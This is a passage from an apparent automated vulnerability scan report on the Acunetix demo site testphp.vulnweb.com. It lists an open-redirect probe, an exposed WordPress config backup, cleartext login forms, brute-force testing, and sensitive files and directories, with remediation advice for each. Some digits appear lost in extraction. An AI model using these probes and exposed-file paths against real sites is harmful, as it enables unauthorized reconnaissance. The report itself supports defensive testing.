<li><a href="artists.php">browse artists</a></li> <li><a href="cart.php">your cart</a></li> <li><a href="login.php">signup</a></li> <li><a href="userinfo.php">your profile</a></li> <li><a href="guestbook.php">our guestbook</a></li> <?PHP if (isset($_cookie["login"]))echo '<li><a href="../logout.php">logout</a>';?></li> </ul> </div> <div class="relatedlinks"> <h3>links</h3> <ul> <li><a href="http://www.acunetix.com">security art</a></li> <li><a href="http://www.eclectasy.com/fractal-explorer/index.html">fractal Explorer</a></li> </ul> </div> <div id="advert"> <p><img src="images/add.jpg" alt="" width="07" height="66"></p> </div> </div> <!--end navbar --> <div id="siteinfo"> <a href="http://www.acunetix.com">about Us</a> <a href="redir.php?r=index.php">site Map</a> <a href="privacy.php">privacy Policy</a> <a href="mailto:wasp@acunetix.com">contact Us</a> 2004 Acunetix Ltd </div> <br> </div> </body> <!-- InstanceEnd --></html> GET /index.bak HTTP/. /index.php 56

/pictures/wp-config.bak Pattern found: <?php // ** MySQL settings ** // define('db_name', 'wp265as'); // The name of the database define('db_user', 'root'); // Your MySQL username define('db_password', ''); //...and password define('db_host', 'localhost'); // 99% chance you won't need to change this value define('db_charset', 'utf8'); define('db_collate', ''); // Change each KEY to a different unique phrase. You won't have to remember the phrases later, // so make them long and complicated. You can visit http://api.wordpress.org/secret-key/./ // to get keys generated for you, or just make something up. Each key should have a different phrase. define('auth_key', 'put your unique phrase here'); // Change this to a unique phrase. define('secure_auth_key', 'put your unique phrase here'); // Change this to a unique phrase. define('logged_in_key', 'put your unique phrase here'); // Change this to a unique phrase. // You can have multiple installations in one database if you give each a unique prefix $table_prefix = 'wp_'; // Only numbers, letters, and underscores please! // Change this to localize WordPress. A corresponding MO file for the // chosen language must be installed to wp-content/languages. // For example, install de.mo to wp-content/languages and set WPLANG to 'de' // to enable German language support. define ('WPLANG', ''); /* That's all, stop editing! Happy blogging. */ if (!defined('abspath') ) define('abspath', dirname( FILE ). '/'); require_once(abspath. 'wp-settings.php');?> GET /pictures/wp-config.bak HTTP/. /pictures/ 57

URL redirection Severity Type Reported by module Medium Validation Scripting (XFS_and_Redir.script) Description This script is possibly vulnerable to URL redirection attacks. URL redirection is sometimes used as a part of phishing attacks that confuse visitors about which web site they are visiting. Impact A remote attacker can redirect users from your website to a specified URL. This problem may assist an attacker to conduct phishing attacks, trojan distribution, spammers. Recommendation Your script should properly sanitize user input. References HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics URL Redirection Security Vulnerability Affected items /redir.php URL encoded GET input r was set to http://www.acunetix.tst GET /redir.php?r=http://www.acunetix.tst HTTP/. 58

User credentials are sent in clear text Severity Type Reported by module Medium Informational Crawler Description User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users. Impact A third party may be able to read the user credentials by intercepting an unencrypted HTTP connection. Recommendation Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS). Affected items /login.php Form name: loginform Form action: http://testphp.vulnweb.com/userinfo.php Form method: POST Form inputs: - uname [Text] - pass [Password] GET /login.php HTTP/. / 59

/signup.php Form name: form Form action: http://testphp.vulnweb.com/secured/newuser.php Form method: POST Form inputs: - uuname [Text] - upass [Password] - upass2 [Password] - urname [Text] - ucc [Text] - uemail [Text] - uphone [Text] - uaddress [TextArea] - signup [Submit] GET /signup.php HTTP/. /login.php 60

WS_FTP log file found Severity Type Reported by module Medium Validation Scripting (WS_FTP_log_file.script) Description WS_FTP is a popular FTP client. This application creates a log file named WS_FTP.LOG. This file contains sensitive data such as file source/destination and file name, date/time of upload etc. Impact This file may expose sensitive information that may help an malicious user to prepare more advanced attacks. Recommendation Remove this file from your website or change its permissions to remove access. References ws_ftp.log Affected items /pictures//ws_ftp.log Pattern found: 03.05.06 3:7 GET /pictures//ws_ftp.log HTTP/. 6

Clickjacking: X-Frame-Options header missing Severity Type Reported by module Low Configuration Scripting (Clickjacking_X_Frame_Options.script) Description Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages. The server didn't return an X-Frame-Options header which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame> or <iframe>. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites. Impact The impact depends on the affected web application. Recommendation Configure your web server to include an X-Frame-Options header. Consult Web references for more information about the possible values for this header. References Clickjacking Original Clickjacking paper The X-Frame-Options response header Affected items Web Server No details are available. GET / HTTP/. 62

Hidden form input named price was found Severity Type Reported by module Low Informational Crawler Description A hidden form input named price was found. It's not recommended to hide sensitive information in hidden form fields. Impact User may change price information before submitting the form. Recommendation Check if the script inputs are properly validated. Affected items /product.php (2bc3e2f408d9fb4afa8f6848e8f57) Form name: f_addcart Form action: http://testphp.vulnweb.com/cart.php Form method: POST Form inputs: - price [Hidden] - addcart [Hidden] GET /product.php?pic=2 HTTP/. /search.php 63

Login page password-guessing attack Severity Type Reported by module Low Validation Scripting (Html_Authentication_Audit.script) Description A common threat web developers face is a password-guessing attack known as a brute force attack. A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works. This login page doesn't have any protection against password-guessing attacks (brute force attacks). It's recommended to implement some type of account lockout after a defined number of incorrect password attempts. Consult Web references for more information about fixing this problem. Impact An attacker may attempt to discover a weak password by systematically trying every possible combination of letters, numbers, and symbols until it discovers the one correct combination that works. Recommendation It's recommended to implement some type of account lockout after a defined number of incorrect password attempts. References Blocking Brute Force Attacks Affected items /userinfo.php The scanner tested 0 invalid credentials and no account lockout was detected. POST /userinfo.php HTTP/. Content-Length: 28 Content-Type: application/x-www-form-urlencoded pass=dauqfld4&uname=xev7vxg 64

Possible sensitive directories Severity Type Reported by module Low Validation Scripting (Possible_Sensitive_Directories.script) Description A possible sensitive directory has been found. This directory is not directly linked from the website.this check looks for common sensitive resources like backup directories, database dumps, administration pages, temporary directories. Each one of these directories could help an attacker to learn more about his target. Impact This directory may expose sensitive information that could help a malicious user to prepare more advanced attacks. Recommendation Restrict access to this directory or remove it from the website. References Web Server Security and Database Server Security Affected items /admin No details are available. GET /admin HTTP/. Accept: acunetix/wvs Range: bytes=0-99999 /CVS No details are available. GET /CVS HTTP/. Accept: acunetix/wvs Range: bytes=0-99999 /secured No details are available. GET /secured HTTP/. Accept: acunetix/wvs Range: bytes=0-99999 65

Possible sensitive files Severity Type Reported by module Low Validation Scripting (Possible_Sensitive_Files.script) Description A possible sensitive file has been found. This file is not directly linked from the website. This check looks for common sensitive resources like password files, configuration files, log files, include files, statistics data, database dumps. Each one of these files could help an attacker to learn more about his target. Impact This file may expose sensitive information that could help a malicious user to prepare more advanced attacks. Recommendation Restrict access to this file or remove it from the website. References Web Server Security and Database Server Security Affected items /hpp/test.php No details are available. GET /hpp/test.php HTTP/. Accept: acunetix/wvs /Mod_Rewrite_Shop/.htaccess No details are available. GET /Mod_Rewrite_Shop/.htaccess HTTP/. Accept: acunetix/wvs 66

Possible virtual host found Severity Type Reported by module Low Configuration Scripting (VirtualHost_Audit.script) Description Virtual hosting is a method for hosting multiple domain names (with separate handling of each name) on a single server (or pool of servers). This allows one server to share its resources, such as memory and processor cycles, without requiring all services provided to use the same host name. This web server is responding differently when the Host header is manipulated and various common virtual hosts are tested. This could indicate there is a Virtual Host present. Impact Possible sensitive information disclosure. Recommendation Consult the virtual host configuration and check if this virtual host should be publicly accessible. References Virtual hosting Affected items localhost VirtualHost: localhost Response: <p>for online documentation and support please refer to <a href="http://nginx.org/">nginx.org</a>.<br/> Commercial support is available at <a href="http://nginx.com/">nginx.com</a>.</p> <p><em>thank you for using nginx.</em></p> </body> </html> GET / HTTP/.0 Host: localhost Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-us) 67

Broken links Severity Type Reported by module Informational Informational Crawler Description A broken link refers to any link that should take you to a document, image or webpage, that actually results in an error. This page was linked from the website but it is inaccessible. Impact Problems navigating the site. Recommendation Remove the links to this file or make it accessible. Affected items /medias/css/main.css For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane. GET /medias/css/main.css HTTP/. /pictures/path-disclosure-unix.html /medias/js/common_functions.js For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane. GET /medias/js/common_functions.js HTTP/. /pictures/path-disclosure-unix.html /Mod_Rewrite_Shop//color-printer/3 For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane. GET /Mod_Rewrite_Shop//color-printer/3/ HTTP/. /Mod_Rewrite_Shop//color-printer/3 68

/Mod_Rewrite_Shop//network-attached-storage-dlink/ For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane. GET /Mod_Rewrite_Shop//network-attached-storage-dlink// HTTP/. Referer: http://testphp.vulnweb.com/mod_rewrite_shop//network-attached-storage-dlink/ /Mod_Rewrite_Shop//web-camera-a4tech/2 For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane. GET /Mod_Rewrite_Shop//web-camera-a4tech/2/ HTTP/. /Mod_Rewrite_Shop//web-camera-a4tech/2 /privacy.php For a complete list of URLs linking to this file, go to Site Structure > Locate and select the file (marked as "Not Found") > select Referrers Tab from the bottom of the Information pane. GET /privacy.php HTTP/. / 69

Email address found Severity Type Reported by module Informational Informational Scripting (Text_Search_Dir.script) Description One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found. Impact Email addresses posted on Web sites may attract spam. Recommendation Check references for details on how to solve this problem. References Email Address Disclosed on Website Can be Used for Spam Affected items / Pattern found: wvs@acunetix.com GET / HTTP/. /artists.php Pattern found: wvs@acunetix.com GET /artists.php HTTP/. / /cart.php Pattern found: wvs@acunetix.com GET /cart.php HTTP/. 70

/ /categories.php Pattern found: wvs@acunetix.com GET /categories.php HTTP/. / /disclaimer.php Pattern found: wvs@acunetix.com GET /disclaimer.php HTTP/. / /guestbook.php Pattern found: wvs@acunetix.com GET /guestbook.php HTTP/. / /index.bak Pattern found: wasp@acunetix.com GET /index.bak HTTP/. 7

/index.php /index.php Pattern found: wvs@acunetix.com GET /index.php HTTP/. / /listproducts.php Pattern found: wvs@acunetix.com GET /listproducts.php HTTP/. /search.php /login.php Pattern found: wvs@acunetix.com GET /login.php HTTP/. / /product.php Pattern found: wvs@acunetix.com GET /product.php HTTP/. 72

/search.php /search.php Pattern found: wvs@acunetix.com GET /search.php HTTP/. / /signup.php Pattern found: wvs@acunetix.com GET /signup.php HTTP/. /login.php /Templates/main_dynamic_template.dwt.php Pattern found: wvs@acunetix.com GET /Templates/main_dynamic_template.dwt.php HTTP/. / 73

GHDB: Sablotron error message Severity Type Reported by module Informational Informational GHDB Description The description for this alert is contributed by the GHDB community, it may contain inappropriate language. Category : Error Messages Sablotron is an XML toolit thingie. This query hones in on error messages generated by this toolkit. These error messages reveal all sorts of interesting stuff such as source code snippets, path and filename info, etc. The Google Hacking Database (GHDB) appears courtesy of the Google Hacking community. Impact Not available. Check description. Recommendation Not available. Check description. References Acunetix Google hacking The Google Hacking Database (GHDB) community Affected items /pictures/path-disclosure-unix.html We found warning "error on line" php sablotron GET /pictures/path-disclosure-unix.html HTTP/. /pictures/ 74

Password type input with auto-complete enabled Severity Type Reported by module Informational Informational Crawler Description When a new name and password is entered in a form and the form is submitted, the browser asks if the password should be saved. Thereafter when the form is displayed, the name and password are filled in automatically or are completed as the name is entered. An attacker with local access could obtain the cleartext password from the browser cache. Impact Possible sensitive information disclosure Recommendation The password auto-complete should be disabled in sensitive applications. To disable auto-complete, you may use a code similar to: <INPUT TYPE="password" AUTOCOMPLETE="off"> Affected items /login.php Password type input named pass from form named loginform with action userinfo.php has autocomplete enabled. GET /login.php HTTP/. / /signup.php Password type input named upass2 from form named form with action /secured/newuser.php has autocomplete enabled. GET /signup.php HTTP/. /login.php /signup.php Password type input named upass from form named form with action /secured/newuser.php has autocomplete enabled. GET /signup.php HTTP/. /login.php 75

76

Possible internal IP address disclosure Severity Type Reported by module Informational Informational Scripting (Text_Search_File.script) Description A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks. This alert may be a false positive, manual confirmation is required. Impact Possible sensitive information disclosure. Recommendation Prevent this information from being displayed to the user. Affected items /pictures/ipaddresses.txt Pattern found: 92.68.0.26 GET /pictures/ipaddresses.txt HTTP/. /pictures/ 77

Possible server path disclosure (Unix) Severity Type Reported by module Informational Informational Scripting (Text_Search_File.script) Description One or more fully qualified path names were found on this page. From this information the attacker may learn the file system structure from the web server. This information can be used to conduct further attacks. This alert may be a false positive, manual confirmation is required. Impact Possible sensitive information disclosure. Recommendation Prevent this information from being displayed to the user. Affected items /pictures/path-disclosure-unix.html Pattern found: /usr/local/etc/httpd/htdocs2/destination GET /pictures/path-disclosure-unix.html HTTP/. /pictures/ 78

Possible username or password disclosure Severity Type Reported by module Informational Informational Scripting (Text_Search_File.script) Description A username and/or password was found in this file. This information could be sensitive. This alert may be a false positive, manual confirmation is required. Impact Possible sensitive information disclosure. Recommendation Remove this file from your website or change its permissions to remove access. Affected items /pictures/credentials.txt Pattern found: password=something GET /pictures/credentials.txt HTTP/. /pictures/ 79

Scanned items (coverage report) Scanned 89 URLs. Found 45 vulnerable. URL: http://testphp.vulnweb.com/ URL: http://testphp.vulnweb.com/search.php 3 input(s) found for this URL Inputs Input scheme Input name test gobutton searchfor Input type URL encoded GET URL encoded POST URL encoded POST URL: http://testphp.vulnweb.com/hpp/ input(s) found for this URL Inputs Input scheme Input name pp Input type URL encoded GET URL: http://testphp.vulnweb.com/hpp/params.php 3 input(s) found for this URL Inputs Input scheme Input name aaaa/ Input scheme 2 Input name p pp Input type URL encoded GET Input type URL encoded GET URL encoded GET URL: http://testphp.vulnweb.com/hpp/test.php URL: http://testphp.vulnweb.com/cart.php 2 input(s) found for this URL Inputs Input scheme Input name addcart price Input type URL encoded POST URL encoded POST URL: http://testphp.vulnweb.com/index.php 80

URL: http://testphp.vulnweb.com/login.php URL: http://testphp.vulnweb.com/style.css URL: http://testphp.vulnweb.com/artists.php input(s) found for this URL Inputs Input scheme Input name artist Input type URL encoded GET URL: http://testphp.vulnweb.com/privacy.php URL: http://testphp.vulnweb.com/userinfo.php 2 input(s) found for this URL Inputs Input scheme Input name pass uname Input type URL encoded POST URL encoded POST URL: http://testphp.vulnweb.com/guestbook.php 3 input(s) found for this URL Inputs Input scheme Input name name submit text Input type URL encoded POST URL encoded POST URL encoded POST URL: http://testphp.vulnweb.com/categories.php URL: http://testphp.vulnweb.com/flash/ URL: http://testphp.vulnweb.com/flash/add.swf URL: http://testphp.vulnweb.com/flash/add.fla URL: http://testphp.vulnweb.com/ajax/ 8

URL: http://testphp.vulnweb.com/ajax/index.php URL: http://testphp.vulnweb.com/ajax/styles.css URL: http://testphp.vulnweb.com/ajax/artists.php URL: http://testphp.vulnweb.com/ajax/infoartist.php?id= input(s) found for this URL Inputs Input scheme Input name id Input type URL encoded GET URL: http://testphp.vulnweb.com/ajax/categories.php URL: http://testphp.vulnweb.com/ajax/infocateg.php?id= input(s) found for this URL Inputs Input scheme Input name id Input type URL encoded GET URL: http://testphp.vulnweb.com/ajax/titles.php URL: http://testphp.vulnweb.com/ajax/infotitle.php input(s) found for this URL Inputs Input scheme Input name id Input type URL encoded POST URL: http://testphp.vulnweb.com/ajax/showxml.php input(s) found for this URL Inputs Input scheme Input name text/xml Input type Custom POST URL: http://testphp.vulnweb.com/disclaimer.php 82

URL: http://testphp.vulnweb.com/images/ URL: http://testphp.vulnweb.com/mod_rewrite_shop/ URL: http://testphp.vulnweb.com/mod_rewrite_shop/images/ URL: http://testphp.vulnweb.com/mod_rewrite_shop/ URL: http://testphp.vulnweb.com/mod_rewrite_shop//color-printer URL: http://testphp.vulnweb.com/mod_rewrite_shop//color-printer/3/ URL: http://testphp.vulnweb.com/mod_rewrite_shop//web-camera-a4tech URL: http://testphp.vulnweb.com/mod_rewrite_shop//web-camera-a4tech/2/ URL: http://testphp.vulnweb.com/mod_rewrite_shop//network-attached-storage-dlink URL: http://testphp.vulnweb.com/mod_rewrite_shop//network-attached-storage-dlink// URL: http://testphp.vulnweb.com/mod_rewrite_shop/.htaccess URL: http://testphp.vulnweb.com/product.php input(s) found for this URL Inputs Input scheme Input name pic Input type URL encoded GET URL: http://testphp.vulnweb.com/showimage.php 3 input(s) found for this URL Inputs Input scheme Input name file size Input type URL encoded GET URL encoded GET 83

Input scheme 2 Input name file Input type URL encoded GET URL: http://testphp.vulnweb.com/listproducts.php 2 input(s) found for this URL Inputs Input scheme Input name cat Input scheme 2 Input name artist Input type URL encoded GET Input type URL encoded GET URL: http://testphp.vulnweb.com/signup.php URL: http://testphp.vulnweb.com/redir.php input(s) found for this URL Inputs Input scheme Input name r Input type URL encoded GET URL: http://testphp.vulnweb.com/templates/ URL: http://testphp.vulnweb.com/templates/main_dynamic_template.dwt.php URL: http://testphp.vulnweb.com/crossdomain.xml URL: http://testphp.vulnweb.com/secured/ URL: http://testphp.vulnweb.com/secured/newuser.php 9 input(s) found for this URL Inputs Input scheme Input name signup uaddress ucc uemail upass upass2 uphone urname Input type URL encoded POST URL encoded POST URL encoded POST URL encoded POST URL encoded POST URL encoded POST URL encoded POST URL encoded POST 84

uuname URL encoded POST URL: http://testphp.vulnweb.com/secured/style.css URL: http://testphp.vulnweb.com/comment.php 6 input(s) found for this URL Inputs Input scheme Input name aid Input scheme 2 Input name pid Input scheme 3 Input name comment name phpaction Submit Input type URL encoded GET Input type URL encoded GET Input type URL encoded POST URL encoded POST URL encoded POST URL encoded POST URL: http://testphp.vulnweb.com/pictures/ URL: http://testphp.vulnweb.com/pictures/8.jpg.tn URL: http://testphp.vulnweb.com/pictures/.jpg.tn URL: http://testphp.vulnweb.com/pictures/7.jpg.tn URL: http://testphp.vulnweb.com/pictures/6.jpg.tn URL: http://testphp.vulnweb.com/pictures/4.jpg.tn URL: http://testphp.vulnweb.com/pictures/3.jpg.tn URL: http://testphp.vulnweb.com/pictures/5.jpg.tn URL: http://testphp.vulnweb.com/pictures/2.jpg.tn 85

URL: http://testphp.vulnweb.com/pictures/ws_ftp.log URL: http://testphp.vulnweb.com/pictures/wp-config.bak URL: http://testphp.vulnweb.com/pictures/ipaddresses.txt URL: http://testphp.vulnweb.com/pictures/credentials.txt URL: http://testphp.vulnweb.com/pictures/path-disclosure-win.html URL: http://testphp.vulnweb.com/pictures/path-disclosure-unix.html URL: http://testphp.vulnweb.com/index.bak URL: http://testphp.vulnweb.com/.idea/ URL: http://testphp.vulnweb.com/.idea/workspace.xml URL: http://testphp.vulnweb.com/.idea/vcs.xml URL: http://testphp.vulnweb.com/.idea/scopes/ URL: http://testphp.vulnweb.com/.idea/scopes/scope_settings.xml URL: http://testphp.vulnweb.com/.idea/acuart.iml URL: http://testphp.vulnweb.com/.idea/misc.xml URL: http://testphp.vulnweb.com/.idea/modules.xml 86

URL: http://testphp.vulnweb.com/.idea/encodings.xml URL: http://testphp.vulnweb.com/admin/ URL: http://testphp.vulnweb.com/admin/create.sql URL: http://testphp.vulnweb.com/cvs/ URL: http://testphp.vulnweb.com/cvs/root URL: http://testphp.vulnweb.com/cvs/entries URL: http://testphp.vulnweb.com/cvs/repository URL: http://testphp.vulnweb.com/cvs/entries.log URL: http://testphp.vulnweb.com/medias URL: http://testphp.vulnweb.com/medias/img URL: http://testphp.vulnweb.com/medias/css URL: http://testphp.vulnweb.com/medias/css/main.css URL: http://testphp.vulnweb.com/medias/js URL: http://testphp.vulnweb.com/medias/js/common_functions.js 87